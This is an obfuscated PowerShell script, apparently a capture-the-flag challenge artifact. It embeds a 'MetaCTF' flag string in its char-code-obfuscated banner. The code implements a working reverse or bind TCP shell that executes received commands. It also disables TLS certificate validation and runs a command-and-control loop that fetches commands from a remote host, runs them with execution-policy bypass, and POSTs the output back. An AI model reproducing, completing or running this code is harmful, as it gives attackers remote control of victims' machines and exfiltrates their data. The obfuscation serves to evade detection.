function eWLKlYjcaLNtADwrphWU { [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $hV&([string]::join('', ( (73,69,88) |%{;<##>$_<##>}|%{ ( [Char][InT] <##>$_<##>)})))zwSMK, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $uTHVB, [Parameter(ParameterSetName="reverse")] [Switch] $GdgqPEhlY, [Parameter(ParameterSetName="bind")] [Switch] $zysxep ) try { if ($GdgqPEhlY) { $crtHTgY = &([string]::join('', ( (78,$(2-2+101+3-3),$(26-26+119+27-27+27-27+27-27),45,79,98,$(3-3+106+4-4+4-4),$(2-2+101+3-3),99,$(27-27+116+28-28+28-28+28-28)) |%{;<##>$_<##>}|%{ ( [cHar][Int] <##>$_<##>)}))) System.Net.Sockets.TCPClient($hV&([string]::join('', ( (73,69,88) |%{;<##>$_<##>}|%{ ( [Char][InT] <##>$_<##>)})))zwSMK,$uTHVB) } if ($zysxep) { $aVySBElS = [System.Net.Sockets.TcpListener]$uTHVB $aVySBElS.start() $crtHTgY = $aVySBElS.AcceptTcpClient() } $KZTDqE = $crtHTgY.GetStream() [byte[]]$xFSKUOg = 0..$(1-1+65535+2-2)|%{;<##>$_<##>}|%{0} $lRacsqBVe = ([text.encoding]::ASCII).GetBytes($([cHAr]87+[CHAr]$(9-9+105+10-10+10-10+10-10)+[chAr]$(23-23+110+24-24+24-24+24-24)+[cHAr]$(15-15+100+16-16+16-16+16-16)+[ChAr]$(18-18+111+19-19+19-19+19-19)+[chAR]$(26-26+119+27-27+27-27+27-27)+[chAr]$(25-25+115+26-26+26-26)+[ChaR]32+[ChAr]80+[char]$(18-18+111+19-19+19-19+19-19)+[chaR]$(26-26+119+27-27+27-27+27-27)+[ChAr]$(2-2+101+3-3)+[cHAr]$(23-23+114+24-24+24-24+24-24)+[cHAr]83+[CHAR]$(11-11+104+12-12)+[ChAr]$(2-2+101+3-3)+[cHAr]$(27-27+108+28-28+28-28+28-28)+[ChAr]$(27-27+108+28-28+28-28+28-28)+[char]32+[cHAr]$(23-23+114+24-24+24-24+24-24)+[Char]$(18-18+117+19-19+19-19)+[cHAR]$(23-23+110+24-24+24-24+24-24)+[ChAr]$(23-23+110+24-24+24-24+24-24)+[CHAR]$(9-9+105+10-10+10-10+10-10)+[CHaR]$(23-23+110+24-24+24-24+24-24)+[cHaR]$(2-2+103+3-3)+[ChaR]32+[cHaR]97+[CHaR]$(25-25+115+26-26+26-26)+[ChaR]32+[ChaR]$(18-18+117+19-19+19-19)+[cHar]$(25-25+115+26-26+26-26)+[cHAr]$(2-2+101+3-3)+[cHAR]$(23-23+114+24-24+24-24+24-24)+[ChaR]32) + $env:username + $([char]32+[cHAR]$(18-18+111+19-19+19-19+19-19)+[cHAR]$(23-23+110+24-24+24-24+24-24)+[ChAR]32) + $env:computername + $([CHaR]10+[cHaR]67+[chAr]$(18-18+111+19-19+19-19+19-19)+[cHar]$(17-17+112+18-18+18-18)+[char]$(20-20+121+21-21+21-21+21-21)+[ChaR]$(23-23+114+24-24+24-24+24-24)+[CHAR]$(9-9+105+10-10+10-10+10-10)+[chaR]$(2-2+103+3-3)+[char]$(11-11+104+12-12)+[ChAR]$(27-27+116+28-28+28-28+28-28)+[CHAr]32+[ChAR]40+[CHar]67+[cHAr]41+[cHaR]32+[chaR]50+[chAr]48+[CHar]49+[cHAr]53+[ChAR]32+[ChaR]77+[Char]$(9-9+105+10-10+10-10+10-10)+[CHAr]99+[cHAr]$(23-23+114+24-24+24-24+24-24)+[cHaR]$(18-18+111+19-19+19-19+19-19)+[cHaR]$(25-25+115+26-26+26-26)+[cHAR]$(18-18+111+19-19+19-19+19-19)+[chAr]$(7-7+102+8-8+8-8)+[Char]$(27-27+116+28-28+28-28+28-28)+[CHar]32+[ChaR]67+[ChaR]$(18-18+111+19-19+19-19+19-19)+[ChAr]$(23-23+114+24-24+24-24+24-24)+[ChAR]$(17-17+112+18-18+18-18)+[cHAR]$(18-18+111+19-19+19-19+19-19)+[ChAR]$(23-23+114+24-24+24-24+24-24)+[ChaR]97+[CHaR]$(27-27+116+28-28+28-28+28-28)+[CHAR]$(9-9+105+10-10+10-10+10-10)+[CHAR]$(18-18+111+19-19+19-19+19-19)+[chAR]$(23-23+110+24-24+24-24+24-24)+[Char]46+[CHar]32+[CHar]65+[CHar]$(27-27+108+28-28+28-28+28-28)+[cHAR]$(27-27+108+28-28+28-28+28-28)+[CHaR]32+[ChAR]$(23-23+114+24-24+24-24+24-24)+[CHar]$(9-9+105+10-10+10-10+10-10)+[chAR]$(2-2+103+3-3)+[Char]$(11-11+104+12-12)+[CHaR]$(27-27+116+28-28+28-28+28-28)+[cHAR]$(25-25+115+26-26+26-26)+[ChAR]32+[ChaR]$(23-23+114+24-24+24-24+24-24)+[chAr]$(2-2+101+3-3)+[CHaR]$(25-25+115+26-26+26-26)+[ChAr]$(2-2+101+3-3)+[char]$(23-23+114+24-24+24-24+24-24)+[CHAr]$(27-27+118+28-28+28-28)+[ChaR]$(2-2+101+3-3)+[cHaR]$(15-15+100+16-16+16-16+16-16)+[Char]46+[chaR]32+[cHar]77+[CHaR]$(2-2+101+3-3)+[char]$(27-27+116+28-28+28-28+28-28)+[CHAR]97+[cHAR]67+[cHaR]84+[cHaR]70+[ChAr]$(23-23+123+24-24)+[chAr]65+[char]$(27-27+108+28-28+28-28+28-28)+[CHAr]$(27-27+108+28-28+28-28+28-28)+[chAR]95+[CHAr]72+[CHar]48+[cHaR]52+[CHaR]$(22-22+120+23-23)+[chAR]51+[ChAR]$(15-15+100+16-16+16-16+16-16)+[cHaR]95+[ChAr]48+[Char]$(18-18+117+19-19+19-19)+[Char]$(27-27+116+28-28+28-28+28-28)+[ChAr]$(30-30+125+31-31+31-31+31-31)+[CHar]10+[CHar]10)) $KZTDqE.Write($lRacsqBVe,0,$lRacsqBVe.Length) $lRacsqBVe = ([text.encoding]::ASCII).GetBytes('PS ' + (&([string]::join('', ( (71,$(2-2+101+3-3),$(27-27+116+28-28+28-28+28-28),45,76,$(18-18+111+19-19+19-19+19-19),99,97,$(27-27+116+28-28+28-28+28-28),$(9-9+105+10-10+10-10+10-10),$(18-18+111+19-19+19-19+19-19),$(23-23+110+24-24+24-24+24-24)) |%{;<##>$_<##>}|%{ ( [ChAR][INt] <##>$_<##>)})))).Path + '>') $KZTDqE.Write($lRacsqBVe,0,$lRacsqBVe.Length) while(($i = $KZTDqE.Read($xFSKUOg, 0, $xFSKUOg.Length)) -ne 0) { $TfmUAcDsOLq = &([string]::join('', ( (78,$(2-2+101+3-3),$(26-26+119+27-27+27-27+27-27),45,79,98,$(3-3+106+4-4+4-4),$(2-2+101+3-3),99,$(27-27+116+28-28+28-28+28-28)) |%{;<##>$_<##>}|%{ ( [cHar][Int] <##>$_<##>)}))) -TypeName System.Text.ASCIIEncoding $pVSlmH = $TfmUAcDsOLq.GetString($xFSKUOg,0, $i) try { $QzktlzbRAu = (&([string]::join('', ( (73,$(23-23+110+24-24+24-24+24-24),$(27-27+118+28-28+28-28),$(18-18+111+19-19+19-19+19-19),$(13-13+107+14-14),$(2-2+101+3-3),45,69,$(22-22+120+23-23),$(17-17+112+18-18+18-18),$(23-23+114+24-24+24-24+24-24),$(2-2+101+3-3),$(25-25+115+26-26+26-26),$(25-25+115+26-26+26-26),$(9-9+105+10-10+10-10+10-10),$(18-18+111+19-19+19-19+19-19),$(23-23+110+24-24+24-24+24-24)) |%{;<##>$_<##>}|%{ ( [chaR][int] <##>$_<##>)}))) -Command $pVSlmH 2>&1 |%{;<##>$_<##>}| &([string]::join('', ( (79,$(18-18+117+19-19+19-19),$(27-27+116+28-28+28-28+28-28),45,83,$(27-27+116+28-28+28-28+28-28),$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(23-23+110+24-24+24-24+24-24),$(2-2+103+3-3)) |%{;<##>$_<##>}|%{ ( [chAR][INT] <##>$_<##>)}))) ) } catch { &([string]::join('', ( (87,$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(27-27+116+28-28+28-28+28-28),$(2-2+101+3-3),45,87,97,$(23-23+114+24-24+24-24+24-24),$(23-23+110+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(23-23+110+24-24+24-24+24-24),$(2-2+103+3-3)) |%{;<##>$_<##>}|%{ ( [cHAr][inT] <##>$_<##>)}))) $([Char]83+[cHAr]$(18-18+111+19-19+19-19+19-19)+[CHAr]$(15-15+109+16-16+16-16+16-16)+[CHaR]$(2-2+101+3-3)+[Char]$(27-27+116+28-28+28-28+28-28)+[CHar]$(11-11+104+12-12)+[cHaR]$(9-9+105+10-10+10-10+10-10)+[char]$(23-23+110+24-24+24-24+24-24)+[chAr]$(2-2+103+3-3)+[ChAR]$(25-25+115+26-26+26-26)+[cHAr]32+[chaR]$(15-15+109+16-16+16-16+16-16)+[CHar]$(2-2+101+3-3)+[cHar]$(25-25+115+26-26+26-26)+[ChaR]$(25-25+115+26-26+26-26)+[cHAr]$(2-2+101+3-3)+[ChaR]$(15-15+100+16-16+16-16+16-16)+[ChaR]32+[CHaR]$(18-18+117+19-19+19-19)+[Char]$(17-17+112+18-18+18-18)+[CHAr]33) &([string]::join('', ( (87,$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(27-27+116+28-28+28-28+28-28),$(2-2+101+3-3),45,69,$(23-23+114+24-24+24-24+24-24),$(23-23+114+24-24+24-24+24-24),$(18-18+111+19-19+19-19+19-19),$(23-23+114+24-24+24-24+24-24)) |%{;<##>$_<##>}|%{ ( [chAR][Int] <##>$_<##>)}))) <##>$_<##> } $QzktlzbRAu2 = $QzktlzbRAu + 'PS ' + (&([string]::join('', ( (71,$(2-2+101+3-3),$(27-27+116+28-28+28-28+28-28),45,76,$(18-18+111+19-19+19-19+19-19),99,97,$(27-27+116+28-28+28-28+28-28),$(9-9+105+10-10+10-10+10-10),$(18-18+111+19-19+19-19+19-19),$(23-23+110+24-24+24-24+24-24)) |%{;<##>$_<##>}|%{ ( [ChAR][INt] <##>$_<##>)})))).Path + '> ' $x = ($error[0] |%{;<##>$_<##>}| &([string]::join('', ( (79,$(18-18+117+19-19+19-19),$(27-27+116+28-28+28-28+28-28),45,83,$(27-27+116+28-28+28-28+28-28),$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(23-23+110+24-24+24-24+24-24),$(2-2+103+3-3)) |%{;<##>$_<##>}|%{ ( [chAR][INT] <##>$_<##>)})))) $error.clear() $QzktlzbRAu2 = $QzktlzbRAu2 + $x $UeDARXBf = ([text.encoding]::ASCII).GetBytes($QzktlzbRAu2) $KZTDqE.Write($UeDARXBf,0,$UeDARXBf.Length) $KZTDqE.Flush() } $crtHTgY.Close() if ($aVySBElS) { $aVySBElS.Stop() } &([string]::join('', ( (65,$(15-15+100+16-16+16-16+16-16),$(15-15+100+16-16+16-16+16-16),45,84,$(20-20+121+21-21+21-21+21-21),$(17-17+112+18-18+18-18),$(2-2+101+3-3)) |%{;<##>$_<##>}|%{ ( [chaR][iNt] <##>$_<##>)}))) @" using System.Net;using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} "@ [System.Net.ServicePointManager]::CertificatePolicy = &([string]::join('', ( (78,$(2-2+101+3-3),$(26-26+119+27-27+27-27+27-27),45,79,98,$(3-3+106+4-4+4-4),$(2-2+101+3-3),99,$(27-27+116+28-28+28-28+28-28)) |%{;<##>$_<##>}|%{ ( [cHar][Int] <##>$_<##>)}))) TrustAllCertsPolicy $s='MetaCTF:1337';$i='add29918-6263f3e6-2f810c1e';$p='https://';$f="C:Users$env:USERNAME.localhack.ps1";$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/add$(7-7+29918+8-8) -Headers @{$([CHAr]65+[Char]$(18-18+117+19-19+19-19)+[ChaR]$(27-27+116+28-28+28-28+28-28)+[ChaR]$(11-11+104+12-12)+[chAr]$(18-18+111+19-19+19-19+19-19)+[cHAR]$(23-23+114+24-24+24-24+24-24)+[cHar]$(9-9+105+10-10+10-10+10-10)+[ChaR]$(2-2+122+3-3+3-3+3-3)+[CHAr]97+[CHAr]$(27-27+116+28-28+28-28+28-28)+[ChAr]$(9-9+105+10-10+10-10+10-10)+[cHAR]$(18-18+111+19-19+19-19+19-19)+[Char]$(23-23+110+24-24+24-24+24-24))=$i};while ($true){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/$(13-13+6263+14-14+14-14+14-14)f3e6 -Headers @{$([CHAr]65+[Char]$(18-18+117+19-19+19-19)+[ChaR]$(27-27+116+28-28+28-28+28-28)+[ChaR]$(11-11+104+12-12)+[chAr]$(18-18+111+19-19+19-19+19-19)+[cHAR]$(23-23+114+24-24+24-24+24-24)+[cHar]$(9-9+105+10-10+10-10+10-10)+[ChaR]$(2-2+122+3-3+3-3+3-3)+[CHAr]97+[CHAr]$(27-27+116+28-28+28-28+28-28)+[ChAr]$(9-9+105+10-10+10-10+10-10)+[cHAR]$(18-18+111+19-19+19-19+19-19)+[Char]$(23-23+110+24-24+24-24+24-24))=$i});if ($c -eq 'exit') {del $f;exit} elseif ($c -ne 'None') {echo "$c" |%{;<##>$_<##>}| &([string]::join('', ( (79,$(18-18+117+19-19+19-19),$(27-27+116+28-28+28-28+28-28),45,70,$(9-9+105+10-10+10-10+10-10),$(27-27+108+28-28+28-28+28-28),$(2-2+101+3-3)) |%{;<##>$_<##>}|%{ ( [char][iNt] <##>$_<##>)}))) -filepath $f;$r=powershell -ep bypass $f -ErrorAction Stop -ErrorVariable e;$r=&([string]::join('', ( (79,$(18-18+117+19-19+19-19),$(27-27+116+28-28+28-28+28-28),45,83,$(27-27+116+28-28+28-28+28-28),$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(23-23+110+24-24+24-24+24-24),$(2-2+103+3-3)) |%{;<##>$_<##>}|%{ ( [chAR][INT] <##>$_<##>)}))) -InputObject $r;$t=Invoke-RestMethod -Uri $p$s/2f$(8-8+810+9-9)c1e -Method POST -Headers @{$([CHAr]65+[Char]$(18-18+117+19-19+19-19)+[ChaR]$(27-27+116+28-28+28-28+28-28)+[ChaR]$(11-11+104+12-12)+[chAr]$(18-18+111+19-19+19-19+19-19)+[cHAR]$(23-23+114+24-24+24-24+24-24)+[cHar]$(9-9+105+10-10+10-10+10-10)+[ChaR]$(2-2+122+3-3+3-3+3-3)+[CHAr]97+[CHAr]$(27-27+116+28-28+28-28+28-28)+[ChAr]$(9-9+105+10-10+10-10+10-10)+[cHAR]$(18-18+111+19-19+19-19+19-19)+[Char]$(23-23+110+24-24+24-24+24-24))=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8} } catch { &([string]::join('', ( (87,$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(27-27+116+28-28+28-28+28-28),$(2-2+101+3-3),45,87,97,$(23-23+114+24-24+24-24+24-24),$(23-23+110+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(23-23+110+24-24+24-24+24-24),$(2-2+103+3-3)) |%{;<##>$_<##>}|%{ ( [cHAr][inT] <##>$_<##>)}))) $([CHar]83+[CHAR]$(18-18+111+19-19+19-19+19-19)+[Char]$(15-15+109+16-16+16-16+16-16)+[chAr]$(2-2+101+3-3)+[CHar]$(27-27+116+28-28+28-28+28-28)+[chAR]$(11-11+104+12-12)+[cHAr]$(9-9+105+10-10+10-10+10-10)+[CHAr]$(23-23+110+24-24+24-24+24-24)+[CHAR]$(2-2+103+3-3)+[chaR]32+[cHAR]$(26-26+119+27-27+27-27+27-27)+[char]$(2-2+101+3-3)+[cHAr]$(23-23+110+24-24+24-24+24-24)+[ChAR]$(27-27+116+28-28+28-28+28-28)+[CHar]32+[Char]$(26-26+119+27-27+27-27+27-27)+[CHAR]$(23-23+114+24-24+24-24+24-24)+[ChAR]$(18-18+111+19-19+19-19+19-19)+[chaR]$(23-23+110+24-24+24-24+24-24)+[Char]$(2-2+103+3-3)+[Char]33+[ChaR]32+[ChAR]67+[chaR]$(11-11+104+12-12)+[chAr]$(2-2+101+3-3)+[CHAr]99+[cHAR]$(13-13+107+14-14)+[CHAr]32+[cHar]$(9-9+105+10-10+10-10+10-10)+[cHAR]$(7-7+102+8-8+8-8)+[ChaR]32+[CHar]$(27-27+116+28-28+28-28+28-28)+[cHar]$(11-11+104+12-12)+[char]$(2-2+101+3-3)+[CHAR]32+[cHar]$(25-25+115+26-26+26-26)+[chaR]$(2-2+101+3-3)+[cHAR]$(23-23+114+24-24+24-24+24-24)+[cHar]$(27-27+118+28-28+28-28)+[cHar]$(2-2+101+3-3)+[CHaR]$(23-23+114+24-24+24-24+24-24)+[chAr]32+[cHaR]$(9-9+105+10-10+10-10+10-10)+[ChaR]$(25-25+115+26-26+26-26)+[CHAr]32+[CHAr]$(23-23+114+24-24+24-24+24-24)+[CHAR]$(2-2+101+3-3)+[char]97+[CHAr]99+[ChAr]$(11-11+104+12-12)+[ChaR]97+[CHAR]98+[CHar]$(27-27+108+28-28+28-28+28-28)+[cHAR]$(2-2+101+3-3)+[CHaR]32+[chAr]97+[CHar]$(23-23+110+24-24+24-24+24-24)+[cHAr]$(15-15+100+16-16+16-16+16-16)+[ChaR]32+[ChAr]$(20-20+121+21-21+21-21+21-21)+[chaR]$(18-18+111+19-19+19-19+19-19)+[ChaR]$(18-18+117+19-19+19-19)+[ChAR]32+[ChAr]97+[Char]$(23-23+114+24-24+24-24+24-24)+[cHar]$(2-2+101+3-3)+[ChAR]32+[CHar]$(18-18+117+19-19+19-19)+[char]$(25-25+115+26-26+26-26)+[ChAR]$(9-9+105+10-10+10-10+10-10)+[cHAr]$(23-23+110+24-24+24-24+24-24)+[cHar]$(2-2+103+3-3)+[CHaR]32+[CHar]$(27-27+116+28-28+28-28+28-28)+[CHar]$(11-11+104+12-12)+[cHar]$(2-2+101+3-3)+[cHar]32+[CHaR]99+[CHar]$(18-18+111+19-19+19-19+19-19)+[ChAr]$(23-23+114+24-24+24-24+24-24)+[ChAr]$(23-23+114+24-24+24-24+24-24)+[Char]$(2-2+101+3-3)+[chaR]99+[cHar]$(27-27+116+28-28+28-28+28-28)+[ChAR]32+[char]$(17-17+112+18-18+18-18)+[char]$(18-18+111+19-19+19-19+19-19)+[CHAr]$(23-23+114+24-24+24-24+24-24)+[CHar]$(27-27+116+28-28+28-28+28-28)+[CHAr]46) &([string]::join('', ( (87,$(23-23+114+24-24+24-24+24-24),$(9-9+105+10-10+10-10+10-10),$(27-27+116+28-28+28-28+28-28),$(2-2+101+3-3),45,69,$(23-23+114+24-24+24-24+24-24),$(23-23+114+24-24+24-24+24-24),$(18-18+111+19-19+19-19+19-19),$(23-23+114+24-24+24-24+24-24)) |%{;<##>$_<##>}|%{ ( [chAR][Int] <##>$_<##>)}))) <##>$_<##> } }